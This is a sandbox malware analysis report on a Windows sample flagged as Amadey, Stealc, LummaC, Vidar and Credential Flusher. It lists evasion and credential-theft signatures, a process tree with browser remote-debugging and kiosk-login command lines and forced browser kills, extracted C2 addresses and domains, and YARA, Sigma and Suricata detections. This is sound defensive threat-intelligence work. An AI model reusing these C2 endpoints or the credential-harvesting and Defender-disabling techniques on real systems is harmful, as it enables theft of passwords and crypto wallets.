Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1571893
MD5:	3f78e574ceb89348cf3af90c3a63bf20
SHA1:	6fc220d8237c163947adfea2f7e643b8535a2450
SHA256:	200f25b055e75ab01b7b34120001b35682ecda95f704e5f0645280b3fc421b38
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops PE files to the document folder of the user

Excessive usage of taskkill to terminate processes

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7328 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 3F78E574CEB89348CF3AF90C3A63BF20)

chrome.exe (PID: 7548 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7920 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 --field-trial-handle=1992,i,1316480559027049210,2605182806938244221,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cmd.exe (PID: 1700 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\EBAEBFIIEC.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

EBAEBFIIEC.exe (PID: 4276 cmdline: "C:\Users\user\Documents\EBAEBFIIEC.exe" MD5: 1AAF3E2606D14DB0A9B98489236C9E46)

skotes.exe (PID: 1108 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 1AAF3E2606D14DB0A9B98489236C9E46)

skotes.exe (PID: 5144 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 1AAF3E2606D14DB0A9B98489236C9E46)

skotes.exe (PID: 4304 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 1AAF3E2606D14DB0A9B98489236C9E46)

3e3be1ecc4.exe (PID: 6964 cmdline: "C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe" MD5: F7A47830F40CC4B6A06D777FAB2F42F9)

5a20612cd1.exe (PID: 3320 cmdline: "C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe" MD5: 1524DA94FEEEBB2A921C3065F4DA2383)

0882197cda.exe (PID: 2324 cmdline: "C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe" MD5: 3F78E574CEB89348CF3AF90C3A63BF20)

6693ff7180.exe (PID: 1364 cmdline: "C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe" MD5: 6D38511BC3DC5EB936761AD513D0C896)

taskkill.exe (PID: 5544 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1732 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7592 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2848 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4108 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6544 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6584 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6692 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6704 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 7056 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

9c573f8941.exe (PID: 7404 cmdline: "C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe" MD5: 3C5C05EE39EA385BC626531B4F5F5DBD)

5a20612cd1.exe (PID: 5868 cmdline: "C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe" MD5: 1524DA94FEEEBB2A921C3065F4DA2383)

firefox.exe (PID: 6700 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6768 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7584 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2288 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2140 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {cbe96958-3f81-4a32-b212-5bd16e8524e8} 6768 "\\.\pipe\gecko-crash-server-pipe.6768" 2949c470510 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7664 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4024 -parentBuildID 20230927232528 -prefsHandle 4340 -prefMapHandle 4336 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {92ef462a-06cc-4d9b-9b96-d016683edb30} 6768 "\\.\pipe\gecko-crash-server-pipe.6768" 294ae474e10 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

0882197cda.exe (PID: 6052 cmdline: "C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe" MD5: 3F78E574CEB89348CF3AF90C3A63BF20)

6693ff7180.exe (PID: 8168 cmdline: "C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe" MD5: 6D38511BC3DC5EB936761AD513D0C896)

taskkill.exe (PID: 6680 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6628 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 8140 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7528 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7100 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6456 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1384 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1876 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2112 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 3224 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7188 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3828 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2284 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2224 -prefsLen 25416 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d7bd456a-bb2b-4481-8cf6-bd15856c7dab} 7188 "\\.\pipe\gecko-crash-server-pipe.7188" 1e153a6f910 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

9c573f8941.exe (PID: 7904 cmdline: "C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe" MD5: 3C5C05EE39EA385BC626531B4F5F5DBD)

5a20612cd1.exe (PID: 6704 cmdline: "C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe" MD5: 1524DA94FEEEBB2A921C3065F4DA2383)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: LummaC

{"C2 url": ["print-vexer.biz", "covery-mover.biz", "impend-differ.biz", "zinc-sneark.biz", "atten-supporse.biz", "formy-spill.biz", "dwell-exclaim.biz", "se-blurry.biz", "dare-curbys.biz"], "Build id": "LOGS11--LiveTraffic"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000029.00000003.3109799946.0000000000EC9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2215093487.00000000019CE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.2215093487.00000000019CE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2215093487.00000000019CE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000021.00000002.2870102600.0000000001C7B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000002.2253656280.0000000000571000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1715851813.0000000005810000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000021.00000003.2776871674.00000000057D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000029.00000003.3163046947.0000000000EB7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000029.00000003.3115772673.0000000000EBC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000029.00000003.3195753572.0000000000EB9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000003.2923519142.000000000125F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000002.2678008367.000000000185E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000003.2627978298.0000000005430000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000029.00000003.3233167251.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000002.2676726532.0000000000EC1000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000029.00000003.3123527529.0000000000EBC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000029.00000003.3164308247.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000021.00000002.2864346736.0000000000EC1000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000029.00000003.3109020607.0000000000EB7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000029.00000003.3166897859.0000000000EBC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.2292827428.0000000000F81000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2213992001.0000000000E61000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000029.00000003.3196992395.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.2293075274.0000000000F81000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000029.00000003.3111738245.0000000000EBC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7328	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7328	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7328	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7328	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 0882197cda.exe PID: 2324	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 0882197cda.exe PID: 2324	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 5a20612cd1.exe PID: 5868	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 5a20612cd1.exe PID: 5868	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 5a20612cd1.exe PID: 5868	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 6693ff7180.exe PID: 1364	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Click to see the 31 entries

Unpacked PEs

Source	Rule	Description	Author
11.2.skotes.exe.f80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
9.2.EBAEBFIIEC.exe.570000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
10.2.skotes.exe.f80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 4304, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\5a20612cd1.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7328, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 7548, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 4304, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\5a20612cd1.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T20:28:25.297021+0100	2028371	3	Unknown Traffic	192.168.2.4	49830	104.21.64.1	443	TCP
2024-12-09T20:28:28.112879+0100	2028371	3	Unknown Traffic	192.168.2.4	49839	104.21.64.1	443	TCP
2024-12-09T20:28:41.795921+0100	2028371	3	Unknown Traffic	192.168.2.4	49875	104.21.64.1	443	TCP
2024-12-09T20:28:44.125180+0100	2028371	3	Unknown Traffic	192.168.2.4	49883	104.21.64.1	443	TCP
2024-12-09T20:28:48.250415+0100	2028371	3	Unknown Traffic	192.168.2.4	49898	104.21.64.1	443	TCP
2024-12-09T20:28:53.837305+0100	2028371	3	Unknown Traffic	192.168.2.4	49912	104.21.64.1	443	TCP
2024-12-09T20:28:59.343844+0100	2028371	3	Unknown Traffic	192.168.2.4	49935	104.21.64.1	443	TCP
2024-12-09T20:29:04.627536+0100	2028371	3	Unknown Traffic	192.168.2.4	49953	104.21.64.1	443	TCP
2024-12-09T20:29:09.206266+0100	2028371	3	Unknown Traffic	192.168.2.4	49965	104.21.64.1	443	TCP
2024-12-09T20:29:15.154143+0100	2028371	3	Unknown Traffic	192.168.2.4	49984	104.21.64.1	443	TCP
2024-12-09T20:29:18.319621+0100	2028371	3	Unknown Traffic	192.168.2.4	49997	104.21.64.1	443	TCP
2024-12-09T20:29:19.172028+0100	2028371	3	Unknown Traffic	192.168.2.4	50003	104.21.64.1	443	TCP
2024-12-09T20:29:24.726132+0100	2028371	3	Unknown Traffic	192.168.2.4	50022	104.21.64.1	443	TCP
2024-12-09T20:29:29.079689+0100	2028371	3	Unknown Traffic	192.168.2.4	50043	104.21.64.1	443	TCP
2024-12-09T20:29:32.824938+0100	2028371	3	Unknown Traffic	192.168.2.4	50057	104.21.64.1	443	TCP
2024-12-09T20:29:36.764667+0100	2028371	3	Unknown Traffic	192.168.2.4	50070	104.21.64.1	443	TCP
2024-12-09T20:29:40.417240+0100	2028371	3	Unknown Traffic	192.168.2.4	50084	104.21.64.1	443	TCP
2024-12-09T20:29:41.881271+0100	2028371	3	Unknown Traffic	192.168.2.4	50094	104.21.64.1	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T20:28:26.831191+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49830	104.21.64.1	443	TCP
2024-12-09T20:28:42.506556+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49875	104.21.64.1	443	TCP
2024-12-09T20:28:46.118592+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49883	104.21.64.1	443	TCP
2024-12-09T20:29:17.743263+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49984	104.21.64.1	443	TCP
2024-12-09T20:29:20.891750+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49997	104.21.64.1	443	TCP
2024-12-09T20:29:21.291651+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50003	104.21.64.1	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T20:28:26.831191+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49830	104.21.64.1	443	TCP
2024-12-09T20:28:42.506556+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49875	104.21.64.1	443	TCP
2024-12-09T20:29:17.743263+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49984	104.21.64.1	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T20:28:46.118592+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49883	104.21.64.1	443	TCP
2024-12-09T20:29:21.291651+0100	2049812	1	A Network Trojan was detected	192.168.2.4	50003	104.21.64.1	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T20:28:25.297021+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	49830	104.21.64.1	443	TCP
2024-12-09T20:28:28.112879+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	49839	104.21.64.1	443	TCP
2024-12-09T20:28:41.795921+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	49875	104.21.64.1	443	TCP
2024-12-09T20:28:44.125180+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	49883	104.21.64.1	443	TCP
2024-12-09T20:28:48.250415+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	49898	104.21.64.1	443	TCP
2024-12-09T20:28:53.837305+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	49912	104.21.64.1	443	TCP
2024-12-09T20:28:59.343844+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	49935	104.21.64.1	443	TCP
2024-12-09T20:29:04.627536+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	49953	104.21.64.1	443	TCP
2024-12-09T20:29:09.206266+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	49965	104.21.64.1	443	TCP
2024-12-09T20:29:15.154143+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	49984	104.21.64.1	443	TCP
2024-12-09T20:29:18.319621+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	49997	104.21.64.1	443	TCP
